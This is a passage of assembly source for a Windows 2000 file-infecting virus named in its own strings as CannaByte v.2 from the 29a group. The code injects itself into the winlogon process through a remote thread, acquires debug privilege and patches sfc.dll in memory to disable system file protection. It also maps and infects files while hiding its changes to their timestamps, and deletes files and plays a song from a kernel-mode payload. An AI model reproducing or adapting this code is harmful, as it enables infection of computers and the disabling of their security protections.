mov eax,ebx
xor edx,edx
mov ebx,4
div ebx
;eax = index of our api
pop ebx
pop ebx
;ebx -> export
mov ecx,[ebx + 24h]
add ecx,dword ptr [esp]
;ecx -> name ordinals
rol eax,1
add ecx,eax
mov ecx,[ecx]
shr ecx,10h
dec ecx
;ecx = ordinal
mov eax,[ebx + 1ch]
add eax,dword ptr [esp]
;eax -> address of functions
rol ecx,2
add eax,ecx
mov eax,[eax]
add eax,dword ptr [esp]
;eax = address of function searched
pop ebx
pop edi edi edx ecx ebx
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process.
;in:
;   eax -> base of kernel
;   esi -> dir of memory that will be writable.
;   ecx -> bytes of that memory.
;   ebx -> handle of the process where is the memory.If 0 this process
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
UnprotectMem:

or ebx,ebx
jne NoThisProcess
push eax
push esi
push ecx
GezApi eax,GetCurrentProcessCRC,GCPNameLen
;eax -> GetCurrentProcess
call eax
;eax = hand of this process
mov  ebx,eax
pop  ecx
pop  esi
pop  eax
NoThisProcess:
push ebx
push esi
push ecx
GezApi eax,VirtualProtectExCRC,VPNameLen
;eax -> VirtualProtectEx
```

```
pop ecx
pop esi
pop ebx
;ebx = hand of process
;esi = dir
;ecx = nbytes
push eax ;space for receiving lpflOldProtect out parameter
push esp
push PAGE_EXECUTE_READWRITE
push ecx
push esi
push ebx
call eax
pop  eax ;we remove space that we reserve in the stack for out parameter
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetLibrarys and FreeLibrarys get and free some librarys :P
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GetLibrarys:

pushad

;first,ill try to get ntdll base from PEB structure

mov eax,dword ptr fs:[30h]    ;PEB pointer
mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA
mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY
mov eax,dword ptr [eax +  8h] ;ntdll.dll base
mov [ebp + Ntdll],eax

mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
push eax
lea ebx,[ebp + advapi]
push ebx
call eax
mov [ebp + NtAdvapi],eax
lea ebx,[ebp + psapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtPsapi],eax
lea ebx,[ebp + rasapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtRasapi],eax
lea ebx,[ebp + imagehlp]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtImagehlp],eax
pop eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FreeLibrarys:

pushad
mov eax,[ebp + NtKernel]
GezApi eax,FreeLibraryCRC,FLNameLen
push eax
push dword ptr [ebp + NtAdvapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtPsapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtRasapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtImagehlp]
call dword ptr [esp + 4]
pop eax
popad
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetWinlogon  in:none  out: WinlogonHand with winlogon process handle
;                                    eax = 0 if no error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GetWinlogon:

pushad
mov ecx,200h
SaveSpaceSearchingWinlogon:
push 00000000h
loop SaveSpaceSearchingWinlogon
;esp -> array of id of processes
mov eax,esp
lea ebx,[ebp + Needed]
push ebx
push 4*200h
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessesCRC,EPSNameLen
call eax
dec eax
jnz GetWinlogonOutError_
;esp -> array
mov esi,esp
lodsd
```

```
SearchWinlogon:
lodsd
push esi
or eax,eax
jz GetWinlogonOutError
;vvv
mov [ebp + WinlogonID],eax
push eax
xor eax,eax
push eax
mov eax,10h or 400h or 20h or 2h or 8h
push eax
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax

or eax,eax
jz NoWinlogonFound
;eax = process handle
mov [ebp + WinlogonHand],eax
lea ebx,[ebp + Needed]
push ebx
push 4
lea ebx,[ebp + WinlogonModuleHand]
push ebx
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessModulesCRC,EPMNameLen
call eax
dec eax
jnz NoWinlogonFound
push 50
lea eax,[ebp + WinlogonModuleName]
push eax
push dword ptr [ebp + WinlogonModuleHand]
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtPsapi]
GezApi eax,GetModuleBaseNameACRC,GMBNNameLen
call eax
lea esi,[ebp + WinlogonModuleName]
lodsd
or eax,20202020h
cmp eax,'lniw'
winl equ $ - 4
jne NoWinlogonFound
lodsd
or eax,20202020h
cmp eax,'nogo'
ogon equ $ - 4
jne NoWinlogonFound

;^^^
WinLogonFound:
pop esi
GetWinlogonOut:
add esp,4*200h
popad
xor eax,eax
ret

NoWinlogonFound:
pop esi
jmp SearchWinlogon

GetWinlogonOutError:
pop esi
GetWinlogonOutError_:
add esp,4*200h
popad
xor eax,eax
inc eax
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;AttackWinlogon in:none
;                   out: eax = 1 error eax = 0 no error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

AttackWinlogon:

push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push evirus - svirus
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen
call eax

or eax,eax
jz AttackWinlogonError
mov [ebp + WinlogonVirusBase],eax

mov ecx,[ebp + NtKernel]
mov ebx,[ebp + WinlogonHand]
lea edx,[ebp + svirus]
mov esi,evirus - svirus
Writez ecx,ebx,eax,edx,esi
or eax,eax
```

```
jz AttackWinlogonError
push 0
push 0
lea  eax,[ebp + Needed]
push eax;pointer to a variable to be passed to the thread function
mov eax,[ebp + WinlogonVirusBase]
add eax,WinlogonCode - svirus
push eax
push 0 ;stack size
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax
or eax,eax
jz AttackWinlogonError

AttackWinlogonNoError:

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
ret

AttackWinlogonError:

push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
inc eax
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
WinlogonCode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;When i inject code to winlogon,i create a remote thread that will start execution here

pop eax ;remove parameter passed
callz WinlogonCodeDoff
WinlogonCodeDoff:
pop ebp
sub ebp,offset WinlogonCodeDoff

SfcDisable:

lea eax,[ebp + sfc]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
call eax
or eax,eax
jz ErrorSfcDisable
mov [ebp + NtSfc],eax
mov esi,[eax + 3ch]
add esi,eax
;esi -> PE
movzx eax,word ptr [esi + 14h];size of optional
mov ecx,[eax + esi + 18h + 10h];size of section
mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll
add esi,dword ptr [ebp + NtSfc]


;esi -> code section

SearchCodeToPatch:
pushad
lea edi,[ebp + CodeToSearch]
mov ecx,11
rep cmpsb
popad
je CodeToPatchFound
inc esi
loop SearchCodeToPatch
jmpz ErrorSfcDisable

CodeToPatchFound:
;now we patch code with a call to ExitThread
push esi
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
pop esi
mov [ebp + PatchExitThreadDir],eax
push esi
;i unprotect the mem where i go to patch
;UnprotectMem
;   eax -> base of kernel
;   esi -> dir of memory that will be writable.
;   ecx -> bytes of that memory.
;   ebx -> handle of the process where is the memory.If 0 this process
mov eax,[ebp + NtKernel]
mov ebx,0
mov ecx,_PatchCode - PatchCode
callz UnprotectMem
pop esi
```

```
mov edi,esi
lea esi,[ebp + PatchCode]
mov ecx,_PatchCode - PatchCode
PatchIt:
movsb
loop PatchIt

;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
push 0
call eax
;;;;;;;;;;;;;;;;;;;;;;

sfc db 'sfc.dll'
NtSfc dd 0
CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h
PatchCode:
push 0
mov eax,11111111h
PatchExitThreadDir equ dword ptr $ - 4
call eax
_PatchCode:


ErrorSfcDisable:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;SECOND VERSION IMPROVEMENT FOR SFC DISABLE
;In the first version the method used for sfc disabling is for win2k only,so in this
;version,if the first one fails, we will try other trickz.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
SfcDisableImprovement:




;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
push 0
call eax
;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;End of code for injecting in winlogon process
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;MapFile ;it maps the file in _WIN32_FIND_DATA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

MapFile:

ChangeAttributesOfFile:
lea edi,[ebp + _WIN32_FIND_DATA.WFD_szFileName]
push 80h
push edi
mov eax,[ebp + NtKernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax
push 0
push 0
push 3
push 0
push 1
push 0C0000000h ;read and write access to file
lea eax,[ebp + _WIN32_FIND_DATA.WFD_szFileName]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,CreateFileACRC,CFNameLen
call eax


inc  eax
or   eax,eax
jnz  np1

ret
np1:
dec  eax
mov  [ebp + FileHandle],eax
push 0
mov  eax,[ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow]
push eax
push 0
push 4
push 0
push dword ptr [ebp + FileHandle]
mov eax,[ebp + NtKernel]
```

```
GezApi eax,CreateFileMappingACRC,CFMNameLen
call eax

or   eax,eax
jz  CloseFile
mov [ebp + MappingHandle],eax
push dword ptr [ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow]
push 0
push 0
push 000F001Fh ;access
push eax ;MappingHandle
mov  eax,[ebp + NtKernel]
GezApi eax,MapViewOfFileCRC,MVFNameLen
call eax

or eax,eax
jz CloseMapping
mov [ebp + ViewHandle],eax
ret
;;;;;;;;;;;;;;;;;;;;;;
CloseAll:;close file opened with MapFile

mov eax,[ebp + NtKernel]
GezApi eax,UnmapViewOfFileCRC,UVFNameLen
push dword ptr [ebp + ViewHandle]
call eax

CloseMapping:

mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + MappingHandle]
call eax

CloseFile:

RestoreAttributes:
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastWriteTime]
push eax
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastAccessTime]
push eax
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftCreationTime]
push eax
push dword ptr [ebp + FileHandle]
mov eax,[ebp + NtKernel]
GezApi eax,SetFileTimeCRC,SFTNameLen
call eax

mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + FileHandle]
call eax

push    dword ptr [ebp + _WIN32_FIND_DATA.WFD_dwFileAttributes]
lea     eax, [ebp+ _WIN32_FIND_DATA.WFD_szFileName]
push  eax
mov eax,[ebp + NtKernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax

ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;PayloadRing0.This function is the payload of the virus in ring0.
;When win32k.sys is loaded a song starts in internal speaker.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PayloadRing0:

Do  equ 600
Re  equ 674 ;(9/8) * Do  ;1.125*Do
Mi  equ 750 ;(5/4) * Do  ;1.25*Do
Fa  equ 798 ;(4/3) * Do  ;1.33*Do
Sol equ 900 ;(3/2) * Do  ;1.5*Do
La  equ 996 ;(5/3) * Do  ;1.66*Do
Si_ equ 1124;(15/8)* Do  ;1.875*Do
Do2 equ 1220
Zilence equ 1

pushfd
pushad

;;;;;;;;;;;;;;;;;;;;;;;
cli
in al, 61h              ;save byte in 61h
push ax
cli
;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;
lea esi,word ptr [ebp + Song]
WhatIfGodSmokedCannabis:
lodsw
mov cx,ax
lodsw
mov dx,ax
or  cx,cx
je  EndSong
```

```
callz sound
jmpz WhatIfGodSmokedCannabis
EndSong:
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
callz Silence
pop ax              ; Restore information byte in port 61h
out 61h, al
sti
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
popad
popfd
ret
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
sound:                  ;cx = frec   dl = duration in second(no more than 13 sec)
pushad
push dx
set_ppi:
mov     al, 10110110b   ; channel 2
out     43h, al         ; operation and mode 3
set_freq:
cmp cx,Zilence
je IsASilence
mov dx,12h
mov ax,34dch
div cx            ; data for frec in ax: 1234dch / (cx = frec)
out 42h, al
mov al, ah
out 42h, al
active_spk:
or  al, 00000011b
out 61h, al
xor eax,eax
pop ax          ;al = duration in sec
callz WaitX
popad
ret
IsASilence:
callz Silence
pop ax          ;al = duration in sec
callz WaitX
popad
ret
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
WaitX:            ;eax = multiplicator < 19
pushad
mov ecx,1500000h
VelAdjust equ dword ptr $ - 4
mul ecx;*eax
mov ecx,eax
loop $
popad
ret
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
Silence:
pushad
in  al, 61h
and al, 11111100b   ; 0FCh put off speaker
out 61h, al
popad
ret
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
paystrings:
db "Win2k.CannaByte v.2 by Super and Vallez for 29a",0dh,0ah
db "The name of this virus is CannaByte!!!",0dh,0ah
db "I hate avs changed viruses's names",0dh,0ah
db "Plz,no change the name of this ;)",0
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
TitleSong:
db "What if god smoked cannabis?",0
Song:
dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Mi,6,Mi,6,Mi,6,Zilence,6
dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,3
dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,4
dw Sol,6,La,6,Si_,9,Mi,12,Mi,9,Fa,6,Sol,6,Zilence,1
dw Sol,6,Sol,6,Sol,6,Sol,6,Fa,6,Mi,6,Re,6,Do,18,Zilence,3
dw Sol,9,Sol,9,Sol,9,Sol,9,Fa,9,Mi,9,Re,9,Do,18,0,0
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
```

```
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;touch_privilege: i got this function from Ratter/29a's document about infection of winlogon.
;The function enable a privilege for me,and ill use to enable SeDebugPrivilege for later ill
;be able to modify winlogon memory space.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

touch_privilege:

        mov ebx, ebp
touch_privilege_        proc    near
        local   process_token:DWORD
        local   privilege_luid:QWORD
        local   token_privilegez:TOKEN_PRIVILEGES

        pushad
        @SEH_SetupFrame

        xchg eax, edi

        call dword ptr [ebx+tGetCurrentProcess]
        lea edx, [process_token]
        push edx
        push TOKEN_ADJUST_PRIVILEGES
        push eax
        call dword ptr [ebx+tOpenProcessToken]
        dec eax
        jnz touch_privilege_end

        lea edx, [token_privilegez.TP_luid]
        push edx
        push esi
        push eax
        call dword ptr [ebx+tLookupPrivilegeValueA]
        dec eax
        jnz touch_privilege_close_p_token

        push eax
        push eax
        push type(TOKEN_PRIVILEGES)
        lea edx, [token_privilegez]

        push 1
        pop dword ptr [edx]
        mov dword ptr [edx.TP_attribz], edi

        push edx
        push eax
        push dword ptr [process_token]
        call dword ptr [ebx+tAdjustTokenPrivileges]

touch_privilege_close_p_token:
        push eax
        push dword ptr [process_token]
        call dword ptr [ebx+tCloseHandle]
        pop eax
touch_privilege_end:
        @SEH_RemoveFrame
        mov dword ptr [esp.Pushad_eax], eax
        popad
        leave
        retn

touch_privilege_        endp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;MapFileRing0 maps a file using kernel mode apis. As MapFile fuction for user
;mode, MapFileRing0 has a CloseAllRing0 function for saving changes and close handles
;MapFile get the name and directory handle from FileNameRing0 and RootDirectoryRing0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MapFileRing0:

pushad

;objects_attributes struc
;       oa_length     dd ?    ;lenght of this structure
;       oa_rootdir    dd ?
;       oa_objectname dd ?    ;name of the object
;       oa_attribz    dd ?    ;attributes of the object
;       oa_secdesc        dd ?
;       oa_secqos     dd ?
;objects_attributes ends
;
;pio_status struc
;       ps_ntstatus   dd ?
;       ps_info       dd ?
;pio_status ends

mov [ebp + FileAttributesRing0.oa_length],24
mov eax,[ebp + RootDirectoryRing0]
mov [ebp + FileAttributesRing0.oa_rootdir],eax
lea eax,[ebp + FileNameRing0]
mov [ebp + FileAttributesRing0.oa_objectname],eax
mov dword ptr [ebp + FileAttributesRing0.oa_attribz],OBJ_CASE_INSENSITIVE
mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0
mov dword ptr [ebp + FileAttributesRing0.oa_secqos],0

push FILE_OPEN_FOR_BACKUP_INTENT or  \
     FILE_SYNCHRONOUS_IO_NONALERT or \
```

```
     FILE_NON_DIRECTORY_FILE                      ;OpenOptions
push FILE_SHARE_READ or \
     FILE_SHARE_WRITE                             ;Share access
lea eax,[ebp + io_statusRing0]
push eax
lea eax,[ebp + FileAttributesRing0]
push eax
push FILE_READ_DATA    or\
     FILE_WRITE_DATA   or\
     FILE_APPEND_DATA  or\
     STANDART_RIGTHS_REQUIRED                     ;desired access

lea eax,[ebp + FileHandRing0]
push eax
call dword ptr [ebp + ZwOpenFilez]        ;I get a handle to the file

test eax,eax
jne  ErrorMappingRing0

mov eax,[ebp + FileHandRing0]
push eax
push SEC_COMMIT                                       ;allocation attributes
push PAGE_READWRITE                           ;page protection
push 00000000h                              ;maximun size
push 00000000h                              ;objects attributes NULL
push SECTION_QUERY       or \
     SECTION_MAP_WRITE   or \
     SECTION_MAP_READ    or \
     STANDART_RIGTHS_REQUIRED             ;desired access
lea eax,[ebp + SectionHandRing0]
push eax
call dword ptr [ebp + ZwCreateSectionz]    ;I get a handle to a created section
test eax,eax
je np1Ring0
callz Close1Ring0
jmpz ErrorMappingRing0
np1Ring0:                                             ;no problem getting section so continue
mov dword ptr [ebp + SectionBaseAddressRing0],0
mov dword ptr [ebp + SectionOffsetRing0],0
mov dword ptr [ebp + SectionOffsetRing0 + 4],0
mov dword ptr [ebp + SectionViewSizeRing0],0

push 00000004h
push 00000000h
push 00000001h
lea eax,[ebp + SectionViewSizeRing0]
push eax
lea eax,[ebp + SectionOffsetRing0]
push eax
push 00000000h
push 00000000h
lea eax,[ebp + SectionBaseAddressRing0]
push eax
push 0FFFFFFFFh   ;i specify the caller process,...i suppose thought im in ring0 this will
                        ;not give problems.
mov eax,[ebp + SectionHandRing0]
push eax
call dword ptr [ebp + ZwMapViewOfSectionz]      ;I get a view of the section
test eax,eax
je NoErrorMappingRing0
callz Close2Ring0
jmpz ErrorMappingRing0


NoErrorMappingRing0:
popad
mov eax,[ebp + SectionBaseAddressRing0]
ret


ErrorMappingRing0:
popad
xor eax,eax
ret

;;;;;;;;;;;;;;;;;;;;;;
CloseAllRing0:

Close3Ring0:

push dword ptr [ebp + SectionBaseAddressRing0]
push 0FFFFFFFFh
call dword ptr [ebp + ZwUnmapViewOfSectionz] ;I unmap the view of the section

Close2Ring0:

push dword ptr [ebp + SectionHandRing0]
call dword ptr [ebp + ZwClosez]            ;I close the hand to the section

Close1Ring0:

push dword ptr [ebp + FileHandRing0]
call dword ptr [ebp + ZwClosez]              ;I close the hand to the file

ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetApisRing0 gets some apis coz we need to be fast when we r in the hook rutine,or the
```

```
;system will go slowly...We cant to be using all time GezApi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApisRing0:

pushfd
pushad

mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwUnmapViewOfSectionCRC,ZUVOSNameLen
mov [ebp + ZwUnmapViewOfSectionz],eax

mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwCloseCRC,ZCNameLen
mov [ebp + ZwClosez],eax

mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwMapViewOfSectionCRC,ZMVOSNameLen
mov [ebp + ZwMapViewOfSectionz],eax

mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwOpenFileCRC,ZOFNameLen
mov [ebp + ZwOpenFilez],eax

mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwCreateSectionCRC,ZCSNameLen
mov [ebp + ZwCreateSectionz],eax

popad
popfd
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;DeleteWin32ksy will delete win32k.sy file if still not deleted
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DeleteWin32ksy:
pushfd
pushad

;From Ring3 part we have in Buffer system32 path in ansi string. We will use StringRing0
;for creating a unicode string with win32k.sy name.

lea edi,[ebp + StringRing0]

lea esi,[ebp + StartUnicode]
mov ecx,8
xor eax,eax
CopyStartUnicode:
movsb
loop CopyStartUnicode

lea esi,[ebp + Buffer]
CalcLenString
push ecx
xor eax,eax
CopyPathSystem32:
movsb
stosb
loop CopyPathSystem32

mov al,'\'
stosb
xor eax,eax
stosb

lea esi,[ebp + win32ksy]
CalcLenString
xor eax,eax
CopyFileNameWin32ksy:
movsb
stosb
loop CopyFileNameWin32ksy

;we have in StringRing0 'pathsystem32\win32k.sy'

pop ecx    ;len of path of system32 in ansi
shl ecx,1  ;len in unicode
add ecx,28 ;len of that path  + len of \??\ and win32k.sy name in ecx

mov word ptr [ebp + FileNameRing0.us_Length],cx
mov word ptr [ebp + FileNameRing0.us_MaximumLength],cx
lea eax,[ebp + StringRing0]
mov [ebp + FileNameRing0.us_Buffer],eax

;usually deletion of files is done with a specific call to NtSetInformationFile. With this
;call the file is deleted when last handle to it is closed. However ill use other
;undocumented api,ZwDeleteFile. With ZwDeleteFile the file is deleted without waiting
;last handle was closed.

lea  eax,[ebp + FileNameRing0]
mov  dword ptr [ebp + FileAttributesRing0.oa_objectname],eax
mov  dword ptr [ebp + FileAttributesRing0.oa_length] ,24
mov  dword ptr [ebp + FileAttributesRing0.oa_rootdir],0
mov  dword ptr [ebp + FileAttributesRing0.oa_attribz],40h
mov  dword ptr [ebp + FileAttributesRing0.oa_secdesc],0h
mov  dword ptr [ebp + FileAttributesRing0.oa_secqos] ,0h

lea eax,dword ptr [ebp + FileAttributesRing0]
push eax
```

```
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwDeleteFileCRC,ZDFNameLen
call eax  ;file must be deleted

popad
popfd

ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;UnhookWhile and RehookAgain put off and put on the hook
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;NtCreateFileAddr
;NtOpenFileAddr
;NtCreateFileEntryAddr
;NtOpenFileEntryAddr

;;;;;;;;;;;;;;;;;;;;;;
UnhookWhile:
